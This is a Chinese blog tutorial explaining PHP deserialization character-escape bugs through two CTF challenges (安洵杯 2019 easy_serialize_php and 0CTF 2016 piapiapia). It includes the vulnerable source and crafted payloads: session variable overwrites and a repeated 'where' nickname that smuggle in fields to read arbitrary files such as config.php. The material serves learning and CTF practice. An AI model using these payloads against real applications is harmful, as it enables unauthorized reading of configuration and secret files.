php反序列化字符逃逸

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

PHP反序列化的规则

unserialize()会忽略能够正常序列化的字符串后面的字符串 比如:

a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:1:"1";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}s:39:"upload/f47454d1d3644127f42070181a8b9afc";}

反序列化会正常解析

a:4:{s:5:"phone";s:11:"13587819970";s:5:"email";s:1:"1";s:8:"nickname";s:10:"12345hacke";s:5:"photo";s:10:"config.php";}

而忽略s:39:”upload/f47454d1d3644127f42070181a8b9afc”;},从而导致读取config.php

反序列化的对象逃逸

当序列化之后进行过滤处理,然后再反序列化,则可能造成某些字符的逃逸。一般分为两种。

  • 第一种为关键词数增加 例如: where->hacker,这样词数由五个增加到6个
  • 第二种为关键词数减少 例如:直接过滤掉一些关键词

下面通过两道题目来学习下这两种情形。

[安洵杯 2019]easy_serialize_php

题目源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

在phpinfo中发现了d0g3f1ag.php,看来是要读取这个php文件。题目对$SESSION数组进行序列化之后,又进行了filter过滤,然后执行反序列化,因此这里就存在逃逸漏洞。

正常的序列化字符串应该是这样的:

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们希望img的值为ZDBnM19mMWFnLnBocA==。这里我们通过变量覆盖来改变$_SESSION数组中user和function的值,然后利用过滤函数来使img的值为我们想要的。

我们post $SESSION[function]=;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:4:”1234″;},$SESSION[user]=flagflagflagflagphpphp

这样序列化后的字符串则为

a:3:{s:4:"user";s:22:"flagflagflagflagphpphp";s:8:"function";s:60:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:4:"1234";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

经过filter过滤后为

a:3:{s:4:"user";s:22:"";s:8:"function";s:60:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:4:"1234";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

user中的值过置空,因此他要往后读22个字符,”;s:8:”function”;s:60: 被当作user的值,后面的img值就逃逸出来了,而且反序列化的时候,读到;}的时候就停下来。这样img的值就是我们想要的了。

0CTF-2016-piapiapia

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

这道题的漏洞就在于在更新个人信息的时候,对个人信息序列化之后,进行了过滤,然后插入数据库,查看个人信息的时候再反序列化出来。过滤代码如上所示,把where替换成hacker,这样使字符增加了一个,导致反序列化逃逸。

update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');

        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

正常情况下,我们更新profile,序列化字符应该是这样的:

a:4:{s:5:"phone";s:11:"13058453888";s:5:"email";s:11:"1013@qq.com";s:8:"nickname";s:4:"stao";s:5:"photo";s:39:"upload/e1bfd762321e409cee4ac0b6e841963c";}

为了绕过正则匹配,我们传入nickname为数组,所以序列化字符串是这样的:

a:4:{s:5:"phone";s:11:"13058453888";s:5:"email";s:11:"1013@qq.com";s:8:"nickname";a:1:{i:0;s:4:"stao";}s:5:"photo";s:39:"upload/e1bfd762321e409cee4ac0b6e841963c";}

但是我们为了读取config.php文件,传入的nickname为:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

34个where,这样序列化后为

a:4:{s:5:"phone";s:11:"13058453888";s:5:"email";s:11:"1013@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/e1bfd762321e409cee4ac0b6e841963c";}

经过过滤函数之后,where被替换成hacker

a:4:{s:5:"phone";s:11:"13058453888";s:5:"email";s:11:"1013@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/e1bfd762321e409cee4ac0b6e841963c";}

这样”;}s:5:”photo”;s:10:”config.php”;}就逃逸出来了。

总结

序列化后进行过滤然后再反序列化,则可能造成漏洞。

留下评论

粤ICP备20010650号